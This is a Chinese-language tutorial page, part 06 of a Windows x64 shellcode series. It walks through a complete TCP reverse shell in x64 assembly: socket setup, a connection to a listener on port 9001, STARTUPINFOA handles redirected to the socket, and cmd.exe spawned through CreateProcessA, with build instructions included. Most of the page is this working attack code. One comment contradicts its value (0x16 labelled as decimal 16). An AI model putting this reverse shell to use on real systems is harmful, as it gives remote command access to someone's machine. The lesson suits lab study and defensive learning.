CppGuide社区 CppGuide社区
首页
  • 最新谷歌C++风格指南(含C++17/20)
  • C++17详解
  • C++20完全指南
  • C++23快速入门
  • C++语言面试问题集锦
  • 🔥C/C++后端开发常见面试题解析 (opens new window)
  • 网络编程面试题 (opens new window)
  • 网络编程面试题 答案详解 (opens new window)
  • 聊聊WebServer作面试项目那些事儿 (opens new window)
  • 字节跳动面试官现身说 (opens new window)
  • 技术简历指南 (opens new window)
  • 🔥交易系统开发岗位求职与面试指南 (opens new window)
  • 第1章 高频C++11重难点知识解析
  • 第2章 Linux GDB高级调试指南
  • 第3章 C++多线程编程从入门到进阶
  • 第4章 C++网络编程重难点解析
  • 第5章 网络通信故障排查常用命令
  • 第6章 高性能网络通信协议设计精要
  • 第7章 高性能服务结构设计
  • 第8章 Redis网络通信模块源码分析
  • 第9章 后端服务重要模块设计探索
  • 🚀 全部章节.pdf 下载 (opens new window)
  • 源码分析系列

    • leveldb源码分析
    • libevent源码分析
    • Memcached源码分析
    • TeamTalk源码分析
    • 优质源码分享 (opens new window)
    • 🔥远程控制软件gh0st源码分析
  • 从零手写C++项目系列

    • C++游戏编程入门(零基础学C++)
    • 🔥使用C++17从零开发一个调试器 (opens new window)
    • 🔥使用C++20从零构建一个完整的低延迟交易系统 (opens new window)
    • 🔥使用C++从零写一个C语言编译器 (opens new window)
    • 从零用C语言写一个Redis
  • Windows 10系统编程
  • 🔥Windows x64 ShellCode入门教程
  • Go语言特性

    • Go开发实用指南
    • Go系统接口编程
    • 高效Go并发编程
    • Go性能调优
    • Go项目架构设计
  • Go项目实战

    • 使用Go从零开发一个数据库
    • 🔥使用Go从零开发一个编译器 (opens new window)
    • 🔥使用Go从零开发一个解释器 (opens new window)
    • 🔥用Go从零写一个编排器(类Kubernetes) (opens new window)
  • Rust编程

    • Rust编程指南
  • 数据库

    • SQL零基础指南
    • MySQL开发与调试指南
  • Linux内核

    • 心中的内核 —— 在阅读内核代码之前先理解内核
    • 🔥Linux 5.x内核开发与调试 完全指南 (opens new window)
    • TCP源码实现超详细注释版.pdf (opens new window)
GitHub (opens new window)
首页
  • 最新谷歌C++风格指南(含C++17/20)
  • C++17详解
  • C++20完全指南
  • C++23快速入门
  • C++语言面试问题集锦
  • 🔥C/C++后端开发常见面试题解析 (opens new window)
  • 网络编程面试题 (opens new window)
  • 网络编程面试题 答案详解 (opens new window)
  • 聊聊WebServer作面试项目那些事儿 (opens new window)
  • 字节跳动面试官现身说 (opens new window)
  • 技术简历指南 (opens new window)
  • 🔥交易系统开发岗位求职与面试指南 (opens new window)
  • 第1章 高频C++11重难点知识解析
  • 第2章 Linux GDB高级调试指南
  • 第3章 C++多线程编程从入门到进阶
  • 第4章 C++网络编程重难点解析
  • 第5章 网络通信故障排查常用命令
  • 第6章 高性能网络通信协议设计精要
  • 第7章 高性能服务结构设计
  • 第8章 Redis网络通信模块源码分析
  • 第9章 后端服务重要模块设计探索
  • 🚀 全部章节.pdf 下载 (opens new window)
  • 源码分析系列

    • leveldb源码分析
    • libevent源码分析
    • Memcached源码分析
    • TeamTalk源码分析
    • 优质源码分享 (opens new window)
    • 🔥远程控制软件gh0st源码分析
  • 从零手写C++项目系列

    • C++游戏编程入门(零基础学C++)
    • 🔥使用C++17从零开发一个调试器 (opens new window)
    • 🔥使用C++20从零构建一个完整的低延迟交易系统 (opens new window)
    • 🔥使用C++从零写一个C语言编译器 (opens new window)
    • 从零用C语言写一个Redis
  • Windows 10系统编程
  • 🔥Windows x64 ShellCode入门教程
  • Go语言特性

    • Go开发实用指南
    • Go系统接口编程
    • 高效Go并发编程
    • Go性能调优
    • Go项目架构设计
  • Go项目实战

    • 使用Go从零开发一个数据库
    • 🔥使用Go从零开发一个编译器 (opens new window)
    • 🔥使用Go从零开发一个解释器 (opens new window)
    • 🔥用Go从零写一个编排器(类Kubernetes) (opens new window)
  • Rust编程

    • Rust编程指南
  • 数据库

    • SQL零基础指南
    • MySQL开发与调试指南
  • Linux内核

    • 心中的内核 —— 在阅读内核代码之前先理解内核
    • 🔥Linux 5.x内核开发与调试 完全指南 (opens new window)
    • TCP源码实现超详细注释版.pdf (opens new window)
GitHub (opens new window)
  • Windows x64 ShellCode入门教程
  • Windows x64 ShellCode入门教程 01
  • Windows x64 ShellCode入门教程 02
  • Windows x64 ShellCode入门教程 03
  • Windows x64 ShellCode入门教程 04
  • Windows x64 ShellCode入门教程 05
  • Windows x64 ShellCode入门教程程 06
    • Windows x64 ShellCode入门教程 07
    目录

    Windows x64 ShellCode入门教程程 06

    # Windows x64 ShellCode入门教程 06

    我相信你们大多数人都希望我们最终能够讨论如何使用x64汇编编写反向shell(reverse shell),而这篇文章正是讨论这个主题。不过我们会慢慢来,因为这无疑是我们这个系列文章中最困难的部分。传统的基于TCP的反向shell让我很感兴趣,因为它们利用CreateProcessA API的标准输入/输出/错误句柄,通过创建的进程(命令shell)来交换信息。

    这也是为什么这样的代码如此具有挑战性的原因,因为我们的代码中需要查询许多基于套接字的Windows API。此外,我们还必须填充整个STARTUPINFOA结构,我认为这是反向shell中最令人沮丧的部分了。除此之外,就不算太难了。今天我们会稍微取个巧,使用EXTERN来调用这些API,以便让你更轻松地编写第一个反向shell。我第一次用汇编编写反向shell时就感到非常棘手,所以我希望能让你尽可能轻松地上手。好了,我们开始吧:

    # 序

    ;instructions for compiling on Windows: ld -m i386pep -LC:\mingw64\x86_64-w64-mingw32\lib asmsock.obj -o asmsock.exe -lws2_32 -lkernel32
    
    BITS 64
    section .text
    global main
    
    extern WSAStartup
    extern WSASocketA
    extern WSAConnect
    extern CreateProcessA
    extern ExitProcess
    
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11

    这是我们使用外部API的代码的标准开场白。通过这种方式,我们的代码简洁明了且易于理解,因为我们还不需要手动查找这些API……😸 在这篇之后的下一篇文章中,你们要准备好面对500多行代码。用x64汇编编写反向shell是一个有趣的挑战,但需要付出相当多的编码努力才能实现。好了,言归正传……

    # WSAStartup

    main:
        ; Call WSAStartup
        and rsp, 0xFFFFFFFFFFFFFFF0 ; stack alignment
        xor rcx, rcx
        mov cx, 0x198               ; Defines the size of the buffer that will be allocated on the stack to hold the WSADATA structure
        sub rsp, rcx                ; Reserve space for lpWSDATA structure
        lea rdx, [rsp]              ; Assign address of lpWSAData to RDX - 2nd param
        mov cx, 0x202               ; Assign 0x202 to wVersionRequired as 1st parameter
        sub rsp, 0x28               ; stack alignment
        call WSAStartup
        add rsp, 0x30               ; stack alignment
    
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11

    如上代码所示,这只是设置了我们所需的Socket版本和其他必要项目。一如既往,我在代码中加入了注释,以帮助你更容易理解。

    # WSASocketA

    ; Create a socket 
        xor rcx, rcx           
        mov cl, 2                   ; AF = 2 - 1st param
        xor rdx, rdx          
        mov dl, 1                   ; Type = 1 - 2nd param
        xor r8, r8              
        mov r8b, 6                  ; Protocol = 6 - 3rd param
        xor r9, r9                  ; lpProtocolInfo = 0 - fourth param
        mov [rsp+0x20], r9          ; 0 = 5th param
        mov [rsp+0x28], r9          ; 0 = 6th param
        call WSASocketA             ; Call WSASocketA 
        mov r12, rax                ; Save the returned socket value
        add rsp, 0x30
    
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13

    太好了!现在我们已经完整创建了一个套接字。我的注释中没有包含相关的API,但如果你想了解更详细的信息,我强烈建议查看微软的API文档以获取完整内容。让我们继续讨论套接字连接……

    # WSAConnect

     ; Initiate Socket Connection
        mov r13, rax                ; Store SOCKET handle in r13 for future needs
        mov rcx, r13                ; Our socket handle as parameter 1
        xor rax,rax                 ; rax = 0
        inc rax                     ; rax = 1
        inc rax                     ; rax = 2
        mov [rsp], rax              ; AF_INET = 2
        mov rax, 0x2923             ; Port 9001
        mov [rsp+2], rax            ; our Port
        mov rax, 0x0100007F         ; IP 127.0.0.1 (I use virtual box with port forwarding, hence the localhost addr)
        mov [rsp+4], rax            ; our IP
        lea rdx,[rsp]               ; Save pointer to RDX
        mov r8, 0x16                ; Move 0x10 (decimal 16) to namelen
        xor r9,r9             
        push r9                     ; NULL
        push r9                     ; NULL 
        push r9                     ; NULL
        add rsp, 8
        sub rsp, 0x90               ; This is somewhat problematic. needs to be a high value to account for the stack or so it seems
        call WSAConnect             ; Call WSAConnect
        add rsp, 0x30
        mov rax, 0x6578652e646d63   ; Push cmd.exe string to stack
        push rax                      
        mov rcx, rsp                ; RCX = lpApplicationName (cmd.exe)
    
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24

    这段代码做了很多事情。简而言之,重要的是:

    我们正在设置监听服务器的端口和IP。记住,这是反向的。所以,十六进制的9001端口实际上是0x2329。

    接下来,我们设置监听服务器的IP。操作相同。其十六进制表示为0x7F 0x00 0x00 0x01。

    一旦我们在调试器中执行这部分代码,你将收到与攻击机监听器的连接。来看看吧:

    # STARTUPINFOA 结构

     ; STARTUPINFOA Structure (I despise this thing!!!!)
    	; https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/ns-processthreadsapi-startupinfoa
        push r13                    ; Push STDERROR
        push r13                    ; Push STDOUTPUT
        push r13                    ; Push STDINPUT
        xor rax,rax
        push rax                    ; 8 bytes -> push lpReserved2
        push rax                    ; 8 bytes -> combine cbReserved2 and wShowWindow
        push ax                     ; dwFlags 4 bytes total, first 2 bytes
        mov rax, 0x100              ; STARTF_USESTDHANDLES
        push ax                     ; continuation of the above, last 2 bytes for dwFlags
        xor rax,rax  
        push rax                    ; dwFillAttribute (4 bytes) + dwYCountChars (4 bytes)
        push rax                    ; dwXCountChars (4 bytes) + dwYSize (4 bytes)
        push rax                    ; dwXSize (4 bytes) + dwY (4 bytes)
        push ax                     ; dwX 4 bytes total, first 2 bytes
        push ax                     ; dwX last 2 bytes
        push rax                    ; 8 bytes -> lpTitle
        push rax                    ; 8 bytes -> lpDesktop = NULL
        push rax                    ; 8 bytes -> lpReserved = NULL
        mov rax, 0x68               ; total size of structure
        push rax                    
        mov rdi,rsp                 ; Copy the pointer to the structure to RDI
    
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23

    在STARTUPINFOA这个结构中,只有少数几个字段真正重要。其余的我们只需设为NULL即可。dwFlags很重要,因为它设置了标准输入/输出/错误句柄。结构大小也非常重要,而且是必需的。这种结构最复杂的地方在于每个字段的字节大小各不相同。有些使用WORDS,有些使用DWORDS,还有些使用QWORDS。在x86中,这要简单得多,因为我们不必考虑栈对齐。在x64中,由于需要栈对齐,我们需要在各处进行一些填充。以下是我整理的内容,以便更好地理解这一点:

    # 64字节对齐(带填充)

    0:009> dt STARTUPINFOA [rsp]
        combase!STARTUPINFOA
        +0x000 cb               : 0x68  8 push rax
        +0x008 lpReserved       : (null)8 push rax
        +0x010 lpDesktop        : (null)8 push rax
        +0x018 lpTitle          : (null)8 push rax
        +0x020 dwX              : 0 4 --> push ax = twice (push ax + push ax)
        +0x024 dwY              : 0 4 --\ 8 bytes -> push rax
        +0x028 dwXSize          : 0 4 --/
        +0x02c dwYSize          : 0 4 --\ 8 bytes -> push rax
        +0x030 dwXCountChars    : 0 4 --/
        +0x034 dwYCountChars    : 0 4 --\ 8 bytes -> push rax
        +0x038 dwFillAttribute  : 0 4 --/
        +0x03c dwFlags          : 0x100 4 push ax = twice (push ax (2 bytes) + push ax (2 bytes))
        +0x040 wShowWindow      : 0 2 --\ 8 bytes -> push rax
        +0x042 cbReserved2      : 0 6 --/
        +0x048 lpReserved2      : (null) 8 bytes -> push rax
        +0x050 hStdInput        : (null) 8 bytes -> push rax
        +0x058 hStdOutput       : 0x00000000`000000a4 Void 8 push rax
        +0x060 hStdError        : 0x00000000`000000a4 Void 8 push rax
    
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20

    # 使用CreateProcessA 创建进程

    ; Call CreateProcessA
        mov rax, rsp                ; Get current stack pointer
        sub rax, 0x18               ; Setup space on the stack for holding process info
        push rax                    ; Address of the ProcessInformation structure | 10th parameter
        push rdi                    ; Address of the STARTUPINFOA structure | 9th parameter
        xor rax, rax
        push rax                    ; lpCurrentDirectory | 8th parameter
        push rax                    ; lpEnvironment | 7th parameter
        push rax                    ; dwCreationFlags | 6th parameter
        inc rax
        push rax                    ; bInheritHandles -> 1 | 5th parameter
        xor rax, rax
        push rax                    ; Reserve space for the function return area | 4th parameter
        push rax                    ; Reserve space for the function return area | 3rd parameter
        push rax                    ; Reserve space for the function return area | 2nd parameter
        push rax                    ; Reserve space for the function return area | 1st parameter
        mov r8, rax                 ; lpThreadAttributes            
        mov r9, rax                 ; lpProcessAttributes           
        mov rdx, rcx                ; lpCommandLine = "cmd.exe" 
        mov rcx, rax                ; lpApplicationName              
        call CreateProcessA         ; Call CreateProcessA
    
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21

    CreateProcessA所需的信息并不复杂。我们包含了命令字符串,在本例中是cmd.exe。我们还确保句柄是可继承的,并且包含了STARTUPINFO结构指针,同时也为PROCESSINFO's的返回值预留了空间。让我们调用这个函数吧!

    稍等片刻,执行效果如下:

    至此,一个漂亮的、伪手工制作的反向shell已经可以使用了。 后面我们将完全手工制作它!

    最后,让我们优雅地退出这个程序:

    ; Clean exit
        mov rcx, 0
        call ExitProcess
    
    1
    2
    3

    各位,这篇文章就到这里!下一篇帖子会是同样的主题,但我们将用纯x64汇编编写一个反向shell,但不依赖于使用**外部符号(EXTERNS)**来获取我们的API。我们会像之前一样,通过遍历PE导出表来动态定位它们。到时候见!

    Windows x64 ShellCode入门教程 05
    Windows x64 ShellCode入门教程 07

    ← Windows x64 ShellCode入门教程 05 Windows x64 ShellCode入门教程 07→

    最近更新
    01
    C++语言面试问题集锦 目录与说明
    03-27
    02
    第二章 关键字static及其不同用法
    03-27
    03
    第一章 auto与类型推导
    03-27
    更多文章>
    Copyright © 2024-2025 沪ICP备2023015129号 张小方 版权所有
    • 跟随系统
    • 浅色模式
    • 深色模式
    • 阅读模式